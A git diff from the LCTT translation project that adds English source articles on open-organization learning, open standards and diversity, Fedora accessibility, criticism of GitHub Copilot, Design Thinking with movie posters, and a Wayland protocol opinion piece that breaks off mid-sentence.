habit with a more helpful action. New memories of the desired action must be developed and stored. + +You must develop triggers to engage the new behavior. This trigger requires your attention, as you are forcing yourself to stop the strong current habit and develop a new and, initially, weak habit. If you are distracted, the old habit remains strong. Your effort could also be disrupted by stress, fatigue, or the powerful influence of your environment. + +Willpower alone cannot change habits, and it's extremely exhausting to try. You might have some short-term successes, but you will wear out eventually. You need environmental support. Cravings happen when you have an active goal that has been blocked. They are your mind's way of saying you must strengthen your desired goal further. You must not only stop the old habit but study what in your environment is activating it. + +To apply these concepts to open organization principles, consider how you can create an environment that makes it easy to activate a principle while discouraging the current unproductive behavior. You must create an environment that reduces the chance of the bad habit being recalled and create triggers to activate the principles. That's the goal of the open organization leadership assessments. They become triggers. + +### The Role of 3 + +One of Markman's key concepts is the Role of 3, which guides both effective learning and effective presentation of information in a way that will be remembered. Markman is talking about getting someone else to change his behavior. This reminds me of my sales seminar in which I wanted to improve (change) the sales associates' selling activities. There is a difference between education, which is just providing knowledge, and training. Training is developing a skill one can use and improve on. Therefore, I had to cut three-quarters of the content and repeat it four times in different ways in my seminars, including role playing. I think what Markman is saying is that stressing just three actions is ideal initially. In my sales training case, my greatest success was role playing product presentations. Not only did the sales people learn the features of the product, but they could talk about them confidently to customers. Afterward, that led to other skills that could be developed. + +This Role of 3 applies to you too when wanting to act on something. Imagine a critical business meeting with vital information presented. Suppose you were distracted by jokes or anxiety-provoking rumors (about layoffs, demotions, or inadequate performance). The meeting could be a waste of your time unless you manage your attention on specific issues. + +Here is what Markman recommends before, during, and after an important event, to learn three key points: + +1. Prepare: Consider what you want to get out of the event (be it a meeting, presentation, or one-on-one discussion) and what you want to achieve. Consider at most three things. Information connected to your goal is easier to detect and remember. Your mental preparation directs your mind to the information you seek. Psychologists call this advance organizer activity. Consider what will be discussed and review any available materials beforehand. +2. Pay attention: This is hard work, particularly when there are distractions. Avoid multitasking on unrelated work (including emails and instant messaging). Working memory is an important concept: Your attention impacts what you will remember later. +3. Review: After any critical information-gathering event (a class, meeting, reading a book or article), write down three key points. If you can't write it down, review it in your mind, or record it on your phone or digital recorder. Try to attach what you learned to what you know. Where do they match or conflict? + +Suppose you're presenting open organization principles to a group. To make sure they remember those principles and use them, follow these procedures: + +1. Start presentations with an agenda and outline for all to review. +2. During the presentation, stay focused primarily on your three critical points. Present all principles, but continually review and highlight three of them. +3. Help people connect the content to what they are doing now and how the principles will improve their activities. +4. Share additional ways the principles can be applied with example use cases and their benefits. +5. End all presentations with a three-point summary. An action plan can be helpful as well. + +Say you're presenting the five open organization principles of transparency, collaboration, inclusivity, adaptability, and community. First, you present all of them in basic terms, but the Role of 3 tells you the audience will probably only pick up on three of them, so you focus on transparency, collaboration, and inclusivity. + +Here's an example outline, following the Role of 3: + +1. Present three key ideas. + 1. Transparency + 2. Collaboration + 3. Inclusivity +2. Organize the presentation by describing each key idea in one sentence. + 1. Transparency is getting as much useful information to other people as possible. + 2. Collaboration is discussing issues with as many other people as appropriate and avoiding making final decisions on your own. + 3. Inclusivity is getting as many different kinds of people involved in a project as appropriate. +3. Develop key idea relationships. + 1. How is transparency related to what people already know? The more transparent you are, the easier it is to collaborate. + 2. How is collaboration related to what people already know, including transparency? If people are doing well with transparency, mention many times that by collaborating more, their transparency will improve. + 3. How is inclusivity related to what people already know, including transparency and inclusivity? The more inclusive we are, the more diverse the ideas generated, leading to more transparency and collaboration. +4. Provide three questions to help people remember and explain the ideas. + 1. When was the last time you paused before deciding something and decided instead to collaborate with all people concerned? + 2. Who do you think would be an easy person to collaborate with? + 3. Each week, how many people do you collaborate with? Should that number be improved upon? + +### Better for everyone + +Now you know what smart thinking is all about. You've learned the Role of 3, and you understand the importance of environment and repetition. These concepts can help you be more productive and happier in whatever you get involved in, including bringing the open organization principles to your own communities. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/22/6/applying-smart-thinking-open-organization-principles + +作者:[Ron McFarland][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LAW_EvidencedBasedIP_520x292_CS.png +[2]: https://www.amazon.com/Smart-Thinking-Essential-Problems-Innovate/dp/0399537759 +[3]: https://theopenorganization.org/definition/open-organization-definition/ +[4]: https://opensource.com/sites/default/files/images/open-org/communication_tech_worksheet.pdf +[5]: https://opensource.com/open-organization/20/3/communication-technology-worksheet diff --git a/sources/talk/20220624 Create a more diverse and equitable open source project with open standards.md b/sources/talk/20220624 Create a more diverse and equitable open source project with open standards.md new file mode 100644 index 0000000000..4e1b99c3b0 --- /dev/null +++ b/sources/talk/20220624 Create a more diverse and equitable open source project with open standards.md @@ -0,0 +1,130 @@ +[#]: subject: "Create a more diverse and equitable open source project with open standards" +[#]: via: "https://opensource.com/article/22/6/open-source-standards-diversity" +[#]: author: "Paloma Oliveira https://opensource.com/users/discombobulateme" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Create a more diverse and equitable open source project with open standards +====== +Using open standards improves your project's quality and shareability. Most importantly, they can guide technology development by gently enforcing space for diversity and equity. + +![multi-colored dandelions][1] + +Image by: [Monsterkoi][2]. Modified by Opensource.com. [CC BY-SA 4.0][3] + +This article is intended to serve as a reference so that you can understand everything you need to be proud of your repository and make your open source project more open. By using open standards, an open source project improves its quality and shareability, since such standards exist to foster better communication between creators and consumers of the project. Most importantly, open standards can guide technology development by gently enforcing space for diversity and equity. + +### What is open source? + +The term [open source][4] started in the late 80's as a way to guarantee access to technological development by legally guaranteeing the right to copy, modify, and redistribute software. This idea has expanded and today it is about fostering a culture of sharing that supports everything from political actions to a billion dollar technology industry. + +The projects and their communities, which give the projects their value, have become much more complex than just the code. Today, it is impossible to think of a project outside of what I prefer to define as its ecosystem. "Ecosystem" sounds to me like a proper definition, because it acknowledges the complexity of technical things, like code and configuration, and also of people. + +### Lack of diversity is a problem in open source + +Without open source, the technology industry would collapse, or it wouldn't even exist. That's the scope of importance that open source has today. What a powerful feeling it is to know that we are all "standing on the shoulders of giants"? We are all benefiting from the power of the commons, using collective labor and intelligence to make something better for everyone. + +What's rarely spoken of is that such important initiatives, in most cases, depend solely on the volunteer labor of its maintainers. This creates a huge imbalance, both from work and diversity aspects. + +Open source is intrinsically a power to foster diversity within the development industry by valuing the contributions of what is contributed over who is contributing it. The reality is, though, that free time is often a rare commodity for many people. Many people are too busy working to generate income, caring for families and loved ones, looking for work, fighting social injustice, and are unable to dedicate time to contribute to software. + +The very opportunity to contribute to the system depends on you being one of the lucky ones who can be part of this system. This is not a reality for many others because of their gender, skin color, or social status. Historically, women accumulate unpaid work that's invisible, but which requires a substantial proportion of their energy and time. Underprivileged people have little free time because they have to work more hours, often having more than one job. + +This is reflected in the numbers. [Only 4.5%][5] of [open source maintainers][6] are not white males, according to research into the field. So we know that this billion dollar industry, shaping technological development, is composed of a homogeneous environment. But we also know that diversity renders robust innovative results.The question is, how can this be changed? + +### Intentional communication with your open source community + +Communication is key. Build a structure with transparency of communication and governance for your project. Clear, concise and respectful communication makes your project accessible to users and contributors. It helps project maintainers devote their time focusing on what they need to do. It helps interested people feel welcome and start contributing faster and more consistently, and it attracts diversity to your community. + +Sounds great, but how can this be obtained? I grouped the rules of good practice into three categories procedural, daily, and long term. These practices are in part strategic, but if you and your community don't have the capacity to be strategic, it's also possible to substantially change your project by adding a few simple files to your repository. + +But which files are those, and what happens when you already have several projects under your management? A few of them are: + +* Code of conduct +* License +* Readme +* Changelog +* Contributing +* Ownership +* Test directory +* Issues +* Pull request templates +* Security +* Support + +To help you get started, there are many projects that offer templates. By simply cloning them, you create a repository with these documents. + +Another tool, designed to help open source software (OSS) maintainers and open source program offices (OSPO) is [check-my-repo][7]. Created by us at [Sauce Labs' OSPO Community][8], it's an automated tool built on [Repolinter][9] that verifies whether the main necessary parameters to comply with open source best practices (including the files mentioned above and a few other rules), are present in your repositories. The web app also explains why each file needs to exist. + +#### Procedural best practices + +As the name implies, this is about the process: + +* Maintain a single public issue tracker. +* Allow open access to the issues identified by the project. +* Have mechanisms for feedback and to discuss new features. +* Offer public meeting spaces scheduled in advance and have them recorded. + +Here are some files that relate to the procedural logic: + +* README: Make it easier for anyone who lands on your project to get started. +* Code of conduct: Establish expectations and facilitate a healthy and constructive community. +* Ownership: Make sure that someone is put in charge of the project to prevent it from being forgotten. + +#### Daily tasks + +This is about the day-to-day aspects, including: + +* Check the status of the project. +* Explain how to submit issues, propose enhancements, and add new features. +* Show how to contribute to the project. + +Files related to the daily aspects of project management are: + +* Contributing: A step by step guideline on how to contribute. +* Changelog: Notable changes need to be logged. +* Security: Show how to report a security vulnerability. +* Support: How the project is being maintained. + +#### Long term goals + +This has information that guarantees the history and continuation of the project, such as a mission statement, key concepts and goals, a list of features and requirements, and a project roadmap. + +Relevant files are: + +* License: It's essential for users to know their limits, and for you to protect yourself legally. +* Test directory: Use this to avoid regression, breaks, and many other issues. + +### Creating and maintaining your open source project + +Now imagine a project with all of these factors. Will it help you build and keep a community? Will noise in communication be mitigated? Will it save maintainers tons of time so they can onboard people and solve issues? Will people feel welcome? + +Creating and maintaining an open source project is very rewarding. Creating collaboratively is an incredible experience and has the intrinsic potential to take such creation into possibilities that one person alone, or a small group could never achieve. But working openly and collaboratively is also a challenge for the maintainers and a responsibility for the community to ensure that this space is equitable and diverse. + +There's a lot of work ahead. The result of surveys on the health of open source communities often reflect the worst of the technology industry. That's why ensuring that these standards are used is so important. To help mitigate this situation, I am betting on standards. They're a powerful tool to align our intentions and to guide us to an equitable, transparent, and shareable space. Will you join me? + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/open-source-standards-diversity + +作者:[Paloma Oliveira][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/discombobulateme +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/diversity-inclusion-transformation-change_20180927.png +[2]: https://pixabay.com/en/dandelion-colorful-people-of-color-2817950/ +[3]: https://creativecommons.org/publicdomain/zero/1.0/deed.en +[4]: https://opensource.com/article/18/2/coining-term-open-source-software +[5]: https://www.wired.com/2017/06/diversity-open-source-even-worse-tech-overall/ +[6]: https://www.linuxfoundation.org/blog/addressing-diversity-equity-and-inclusion-in-2021-and-beyond +[7]: https://opensource.saucelabs.com/check-my-repo +[8]: https://opensource.saucelabs.com +[9]: https://todogroup.github.io/repolinter diff --git a/sources/talk/20220627 Accessibility in Fedora Workstation.md b/sources/talk/20220627 Accessibility in Fedora Workstation.md new file mode 100644 index 0000000000..0fe841bdf4 --- /dev/null +++ b/sources/talk/20220627 Accessibility in Fedora Workstation.md @@ -0,0 +1,63 @@ +[#]: subject: "Accessibility in Fedora Workstation" +[#]: via: "https://fedoramagazine.org/accessibility-in-fedora-workstation/" +[#]: author: "Christian Fredrik Schaller https://fedoramagazine.org/author/uraeus/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Accessibility in Fedora Workstation +====== +![Accessibility in Fedora Workstation Featured Image][1] + +Photo by [Elizabeth Woolner][2] on [Unsplash][3] + +The first concerted effort to support accessibility under Linux was undertaken by Sun Microsystems when they decided to use GNOME for Solaris. Sun put together a team focused on building the pieces to make GNOME 2 fully accessible and worked with hardware makers to make sure things like Braille devices worked well. I even heard claims that GNOME and Linux had the best accessibility of any operating system for a while due to this effort. As Sun started struggling and got acquired by Oracle this accessibility effort eventually trailed off with the community trying to pick up the slack afterwards. Especially engineers from Igalia were quite active for a while trying to keep the accessibility support working well. + +But over the years we definitely lost a bit of focus on this and we know that various parts of GNOME 3 for instance aren’t great in terms of accessibility. So at Red Hat we have had a lot of focus over the last few years trying to ensure we are mindful about diversity and inclusion when hiring, trying to ensure that we don’t accidentally pre-select against underrepresented groups based on for instance gender or ethnicity. But one area we realized we hadn’t given so much focus recently was around technologies that allowed people with various disabilities to make use of our software. Thus I am very happy to announce that Red Hat has just hired Lukas Tyrychtr, who is a blind software engineer, to lead our effort in making sure Red Hat Enterprise Linux and Fedora Workstation has excellent accessibility support! + +Anyone who has ever worked for a large company knows that getting funding for new initiatives is often hard and can take a lot of time, but I want to highlight how I was extremely positively surprised at how quick and easy it was to get support for hiring Lukas to work on accessibility. When Jiri Eischmann and I sent the request to my manager, Stef Walter, he agreed to champion the same day, and when we then sent it up to Mike McGrath who is the Vice President of Linux Engineering he immediately responded that he would bring this to Tim Cramer who is our Senior Vice President of Software Engineering. Within a few days we had the go ahead to hire Lukas. The fact that everyone just instantly agreed that accessibility is important and something we as a company should do made me incredibly proud to be a Red Hatter. + +What we hope to get from this is not only a better experience for our users, but also to allow even more talented engineers like Lukas to work on Linux and open source software at Red Hat. I thought it would be a good idea here to do a quick interview with Lukas Tyrychtr about the state of accessibility under Linux and what his focus will be. + +Christian: Hi Lukas, first of all welcome as a full time engineer to the team! Can you tell us a little about yourself? + +Lukas: Hi, Christian. For sure. I am a completely blind person who can see some light, but that’s basically it. I started to be interested in computers around 2009 or so, around my 15th or 16th birthday. First, because of circumstances, I started tinkering with Windows, but Linux came shortly after, mainly because of some pretty good friends. Then, after four years the university came and the Linux knowledge paid off, because going through all the theoretical and practical Linux courses there was pretty straightforward (yes, there was no GUI involved, so it was pretty okay, including some custom kernel configuration tinkering). During that time, I was contacted by Red Hat associates whether I’d be willing to help with some accessibility related presentation at our faculty, and that’s how the collaboration began. And, yes, the hire is its current end, but that’s actually, I hope, only the beginning of a long and productive journey. + +Christian: So as a blind person you have first hand experience with the state of accessibility support under Linux. What can you tell us about what works and what doesn’t work? + +Lukas: Generally, things are in pretty good shape. Braille support on text-only consoles basically just always works (except for some SELinux related issues which cropped up). Having speech there is somewhat more challenging, the needed kernel module ([Speakup][4] for the curious among the readers) is not included by all distributions, unfortunately it is not included by Fedora, for example, but Arch Linux has it. When we look at the desktop state of affairs, there is basically only a single screen reader (an application which reads the screen content), called [Orca][5], which might not be the best position in terms of competition, but on the other hand, stealing Orca developers would not be good either. Generally, the desktop is usable, at least with GTK, Qt and major web browsers and all recent Electron based applications. Yes, accessibility support receives much less testing than I would like, so for example, a segmentation fault with a running screen reader can still unfortunately slip through a GTK release. But, generally, the foundation works well enough. Having more and naturally sounding voices for speech synthesis might help attract more blind users, but convincing all the players is no easy work. And then there’s the issue of developer awareness. Yes, everything is in some guidelines like the GNOME ones, however I saw much more often than I’d like to for example a button without any accessibility labels, so I’d like to help all the developers to fix their apps so accessibility regressions don’t get to the users, but this will have to improve slowly, I guess. + +Christian: So you mention Orca, are there other applications being widely used providing accessibility? + +Lukas: Honestly, only a few. There’s Speakup – a kernel module which can read text consoles using speech synthesis, e.g. a screen reader for these, however without something like Espeakup (an Espeak to Speakup bridge) the thing is basically useless, as it by default supports hardware synthesizers, however this piece of hardware is basically a think of the past, e.g. I have never seen one myself. Then, there’s [BRLTTY][6]. This piece of software provides braille output for screen consoles and an API for applications which want to output braille, so the drivers can be implemented only once. And that’s basically it, except for some efforts to create an Orca alternative in Rust, but that’s a really long way off. Of course, utilities for other accessibility needs exist as well, but I don’t know much about these. + +Christian: What is your current focus for things you want to work on both yourself and with the larger team to address? + +Lukas: For now, my focus is to go through the applications which were ported to GTK 4 as a part of the GNOME development cycle and ensure that they work well. It includes adding a lot of missing labels, but in some cases, it will involve bigger changes, for example, GNOME Calendar seems to need much more work. During all that, educating developers should not be forgotten either. With these things out of the way, making sure that no regressions slip to the applications should be addressed by extending the quality assurance and automated continuous integration checks, but that’s a more distant goal. + +Christian: Thank you so much for talking with us Lukas, if there are other people interested in helping out with accessibility in Fedora Workstation what is the best place to reach you? + +Actually for now the easiest way to reach me is by email at [ltyrycht@redhat.com][7]. Be happy to talk to anyone wanting to help with making Workstation great for accessibility. + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/accessibility-in-fedora-workstation/ + +作者:[Christian Fredrik Schaller][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/uraeus/ +[b]: https://github.com/lkxed +[1]: https://fedoramagazine.org/wp-content/uploads/2022/06/Accessibility-in-Fedora-Workstation-816x345.jpg +[2]: https://unsplash.com/@elizabeth_woolner?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/accessibility?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: http://www.linux-speakup.org/speakup.html +[5]: https://wiki.gnome.org/action/show/Projects/Orca?action=show&redirect=Orca +[6]: https://brltty.app/ +[7]: https://fedoramagazine.org/mailto:ltyrycht@redhat.com diff --git a/sources/talk/20220705 GitHub Copilot Is Only Effective Because It Steals Open Source Code.md b/sources/talk/20220705 GitHub Copilot Is Only Effective Because It Steals Open Source Code.md new file mode 100644 index 0000000000..b321dedb8d --- /dev/null +++ b/sources/talk/20220705 GitHub Copilot Is Only Effective Because It Steals Open Source Code.md @@ -0,0 +1,38 @@ +[#]: subject: "GitHub Copilot Is Only Effective Because It Steals Open Source Code" +[#]: via: "https://www.opensourceforu.com/2022/07/github-copilot-is-only-effective-because-it-steals-open-source-code/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +GitHub Copilot Is Only Effective Because It Steals Open Source Code +====== +![github-logo-2][1] + +The Software Freedom Conservancy (SFC), a non-profit community of open source advocates, announced its withdrawal from GitHub today in a scathing blog post urging members and supporters to publicly condemn the platform. The SFC’s issue with GitHub stems from allegations that Microsoft and OpenAI trained an AI system called Copilot on data that had been made available under an open source licence. Open source code is not like a donation box where you can take whatever you want and use it however you want. + +It’s closer to photography. Even if a photographer does not charge you to use one of their images, you are still required to give credit where credit is due. According to an SFC [blog post][2], Copilot does not do this when it comes to using other people’s code snippets: + +“This harkens to long-standing problems with GitHub, and the central reason why we must together give up on GitHub. We’ve seen with Copilot, with GitHub’s core hosting service, and in nearly every area of endeavor, GitHub’s behavior is substantially worse than that of their peers. We don’t believe Amazon, Atlassian, GitLab, or any other for-profit hoster are perfect actors. However, a relative comparison of GitHub’s behavior to those of its peers shows that GitHub’s behavior is much worse.” + +GitHub is the world’s de facto repository for open source code. It’s a cross between YouTube, Twitter, and Reddit, but for programmers and the code they create. Sure, there are alternatives. Switching from one code-repository ecosystem to another, however, is not the same as trading Instagram for TikTok. Microsoft paid more than $7 billion to acquire GitHub in 2018. Since then, Microsoft has used its position as OpenAI’s primary benefactor to collaborate on the development of Copilot. And access to Copilot is only available through a special invitation from Microsoft or through a paid subscription. The SFC and other open source advocates are outraged because Microsoft and OpenAI are effectively monetizing other people’s code while removing the ability for those who use that code to properly credit those who use it. + +Copilot must be killed. Alternately, Microsoft and OpenAI could construct a time machine and travel back in time to label every single datapoint in Copilot’s database, allowing them to create a second model that gives proper credit to every output. But it’s always easier to take advantage of people and exploit the Wild West regulatory environment than it is to care about the ethics of the products and services you offer. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/github-copilot-is-only-effective-because-it-steals-open-source-code/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/07/github-logo-2-e1657018894307.png +[2]: https://sfconservancy.org/blog/2022/jun/30/give-up-github-launch/ diff --git a/sources/talk/20220723 Why Design Thinking is a box office hit for open source teams.md b/sources/talk/20220723 Why Design Thinking is a box office hit for open source teams.md new file mode 100644 index 0000000000..0802c68ce1 --- /dev/null +++ b/sources/talk/20220723 Why Design Thinking is a box office hit for open source teams.md @@ -0,0 +1,56 @@ +[#]: subject: "Why Design Thinking is a box office hit for open source teams" +[#]: via: "https://opensource.com/article/22/7/design-thinking-open-source-teams" +[#]: author: "Aoife Moloney https://opensource.com/users/aoifemoloney4" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Why Design Thinking is a box office hit for open source teams +====== +You need the freedom to express your opinion at work. Why should planning processes try to box us into silos and acquiescence? + +![4 hot skills for Linux pros in 2017][1] + +Image by: Internet Archive Book Images. Modified by Opensource.com. CC BY-SA 4.0 + +For the past several years, Design Thinking has been providing a way to enhance problem solving within teams, to ensure learning goals are met, and to increase team engagement. In our [previous article][2], we discussed how we used movie posters to "pitch" our projects to stakeholders. In this article, we're going to review the many lessons we've learned from Design Thinking. + +### The box office reviews + +"If you love what you do, then you’ll never work a day in your life" was the angle we were going for when we decided to break our self-imposed ceiling of needing to be formal and business-like to be able to both plan and deliver work. Our planning team was loving the reaction and engagement we were getting from our stakeholders and wider team from using the movie posters instead of documents. It was at this point that we began to realize how we created this arduous and quite frankly boring way of planning our team's work. We had imposed requirements on ourselves of needing to write up documents, transpose that information into a spreadsheet, and then (yes, a third time) into a slide deck. Product owners and planning teams have to do this four times a year, and the cycle was starting to feel heavy and burdensome to us. + +It's crucial for a product owner or a manager (or whoever is planning a development team's work) to present information about what their team could potentially deliver to stakeholders so that the best decision on where to invest time and resources can be made. But that information had begun to feel like it was just text on a page or screen. Stakeholders weren't really buying into what our planning team was half-heartedly selling. If we didn't enjoy talking about our projects, how could we expect our stakeholders to enjoy discussing them? Our project planning team quickly realized we not only needed to introduce the movie posters for the wider teams' and stakeholders' best interests, but for our own sense of enjoyment in our roles, too. We needed to Kill Bill. + +So with Uma Thurman leading the way in our new concept of using movie posters as cover stories, we found ourselves getting excited about creating new ones for each project request. We were going into each call looking forward to the few moments when the movie posters were unveiled, and those on the calls got a laugh about what was chosen. If they hadn't seen a particular movie before, they often shared that, which resulted in a side conversation where people shared movie trivia and began getting to know each other better. All of this from a software project brief in the style of a *Kill Bill Vol. 2* movie poster. It was incredible to watch the interactions happen and relationships form. The conversations in those calls were freeform, unreserved, and extremely valuable to our planning team. Movie posters got everyone talking, which made it easier for participants on the call to ask for more detail about the project, too. + +Our new and improved planning calls were a "box office smash" and the results spoke for themselves. Our quarterly planning calls went from being 90 plus minutes to under 45 minutes, with both team and stakeholders commenting on how included they felt in the decision making process. A lot of this came from developing and expanding on the requirements and insight gathering sessions we'd conducted in the run up to our quarterly planning calls. This was the last remnant of our formal, stiff approach but there was no denying how useful the information gained from those sessions could be to our projects. So we kept it simple again, and started to introduce the movie posters during what we coined the "insight sessions" instead. Our insight sessions were making a big difference by providing space for people to meet and converse about technical details, potential blockers, risks, and opportunities to leverage one piece of technology against another. This was all happening naturally. The ice had been broken with a reveal of a *Ghostbusters* poster or *A Bugs Life*. People turned on cameras and mics to get involved in the conversation about whether they had seen the movies, the remakes, or the original. It became easy for our planning team to guide the already flowing conversations back to the work at hand. + +### That's a wrap + +We were now delivering valuable, enjoyable, and important calls that were generating a lot of success for our team. Our project delivery success rate hit, and stayed at, 100%. We have never, for three years now, had to halt or drop a project once it's been actioned from quarterly planning. We attribute the high engagement levels on our calls, and we believe people are engaged because our calls are novel and fun while still being informative. We're capturing crucial information about each project before it even begins development, so our teams are able to hit the ground running. + +Yes, planning needs to be considered and measured and thorough, but it's to no one's benefit when only one person is doing the thinking, talking, and measuring. It's important to create a culture of open communication and trust for product owners and project managers, so that they can plan work for their teams and bring real value to their stakeholders and end users. It's even more critical for development teams to have the space and tools to plan openly and collaboratively, both with each other and with adjacent teams. + +You need the freedom to express your opinion at work. Why should planning processes try to box us into silos and acquiescence? That's a quick way to lose friends and gain robots. + +Our team is of the firm belief that people deliver projects. We made some changes when we realized that we needed people, with all of their personalities and perspectives, to see what each project meant to them. Then we could determine which ones to work on. We needed the heart and spirit of Agile methodologies in a process that was open, collaborative, and fun for everyone. + +This way of planning and working together is based on using visuals, and trying to enjoy the work we do and the time we spend together at work. It's a means to promote discussion and move those in planning roles from drivers to facilitators so that a unanimous decision can be reached through shared understanding of the work, and the potential trade-offs that comes with it. We chose movie posters, but the concept can be expanded to just about anything! This is our whole point. You don't have to limit your creativity to plan work. If you like music, make an album! Comics? Design one! Or maybe TV shows are more your speed. Take your pick, my friend—it's your cover story. Tell it in the way you enjoy the most, and enjoy not only the informative projects you will generate for your team, but also the sense of camaraderie everyone will feel from having the freedom and safety to grab a coffee or tea, join a call, and talk amongst friends about movies and technology. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/design-thinking-open-source-teams + +作者:[Aoife Moloney][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/aoifemoloney4 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/lightbulb-idea-think-yearbook-lead.png +[2]: https://opensource.com/article/22/7/design-thinking-engagement-movie-poster diff --git a/sources/talk/20220724 Wayland Core Protocol is Tailored Only for GNOME and That-s Not a Good Thing [Opinion].md b/sources/talk/20220724 Wayland Core Protocol is Tailored Only for GNOME and That-s Not a Good Thing [Opinion].md new file mode 100644 index 0000000000..1a373cc32e --- /dev/null +++ b/sources/talk/20220724 Wayland Core Protocol is Tailored Only for GNOME and That-s Not a Good Thing [Opinion].md @@ -0,0 +1,135 @@ +[#]: subject: "Wayland Core Protocol is Tailored Only for GNOME and That’s Not a Good Thing [Opinion]" +[#]: via: "https://news.itsfoss.com/wayland-core-protocol-issue/" +[#]: author: "Community https://news.itsfoss.com/author/team/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Wayland Core Protocol is Tailored Only for GNOME and That’s Not a Good Thing +====== +And the idea of protocol extensions doesn’t work + +![Wayland GNOME][1] + +Wayland is a display server system based on the idea of [protocols][2]. That means that there is no Wayland display server that clients need to talk to. Instead, Wayland defines a protocol for creating display servers. Any client application that is programmed to use this protocol can work on any display server(or compositor) that fully supports this protocol. It’s like the [world wide web protocols][3], where any website can work on any browser as long as the browser is completely supporting the web protocols. So you don’t create websites for specific browsers. + +That also means that the functions defined in the protocol decide what applications (aka clients) can do & what they can’t do. Returning to the example of the website, if the protocol doesn’t define necessary functions, it will limit the web developers. Take CSS as an example; if it wasn’t available in the web protocols, all websites would have looked the same and boring. So the protocol must include all necessary basics in a way that doesn’t limit developers to a few cases and uses. + +When Wayland developers started defining the protocol, they had to decide what functionalities to include in the protocol. Their decision was to make the protocol as minimal as possible, and compositors shall create new protocols for their specific use cases if they desire to offer more functionality not included in the main protocol. The main protocol was called [Wayland Core protocol][4], and other protocols are called [protocol extensions][5]. All compositors are expected to support the core protocol, and they may not support other protocol extensions. That means that applications that depend on certain functionality defined in one of the protocol extensions will not work on all compositors. + +All of the above is what Wayland developers intended for the Wayland world to be. Now let’s delve into more detail. How much is Wayland core protocol minimal? In other words, what determines what shall be in the core protocol and what shall not be? In this article, I’m going to give you an answer to this question based on my opinion, which is in turn based on a group of simple facts. + +**My opinion is that Wayland’s Core protocol is tailored only for GNOME needs.** + +I mean that the functionalities which exist in Wayland’s core protocol are the bare minimum required for GNOME desktop and apps to work on Wayland. + +That’s bad (still in my opinion) because it’s simply not enough for other desktop environments and apps other than GNOME desktop and apps, as I will show you in this article. + +### 1. The core protocol requires that desktop visual components be drawn by the compositor + +First, let’s explain something. In most desktop environments, desktop components (like dock, panel, wallpaper, desktop icons, etc.) are regular clients. For those components to work, they need certain functions to be implemented by the compositor; those functions include: + +* Ability to move the window +* Ability to tell the compositor to not draw decorations around said windows. +* Ability to keep it above all windows(in case of the panel) or keep it below all windows (in case of the background). +* In addition to some other functionalities. + +On X11, those were defined in the ICCCM specification, which allows X11 clients to tell the compositor to do any of the above. On Wayland, there is not anything in the core protocol that allows that. This means that desktop environment creators have to draw all these in the compositor. + +GNOME is the only desktop that does that, while many other desktops (KDE, XFCE, Lxqt, etc.) draw their components outside the compositor (an exception to that is Cinnamon because it started as a fork of GNOME 3). The situation is even worse. Apps like [plank dock][6], [latte dock][7] and other independent desktop components can’t exist in Wayland. There are protocol extensions that fix that, and I will discuss them later. + +In summary, the situation is: + +* Desktop environments have to draw everything in the compositor. +* It’s impossible to create cross-desktop desktop components like Plank and Latte dock + +### 2. CSD is implementable, although clients can’t move their window + +We have known before that the core protocol doesn’t define a way for clients to move their windows. So how is CSD implemented? Well, there is a [function in the protocol][8] that tells the compositor to start dragging the window. So instead of having a function for moving the window, which would had been useful in many cases, they resorted to having a function only helpful in implementing CSD. + +### 3. CSD is a must in Wayland core protocol + +On X11, the situation was that apps expect to get decorated by the compositor (which is SSD) and if they wish to decorate themselves (by CSD) they tell the compositor to not draw its decorations. On Wayland, compositors are free to draw their decorations if they wish. + +The problem is that there is no way (inside the core protocol) for apps to know whether they are being decorated or not. In other words, clients can’t tell the compositor whether they prefer CSD or SSD, which is problematic for both CSD and SSD (in theory). But in practice, GNOME decided not to decorate clients at all. So apps 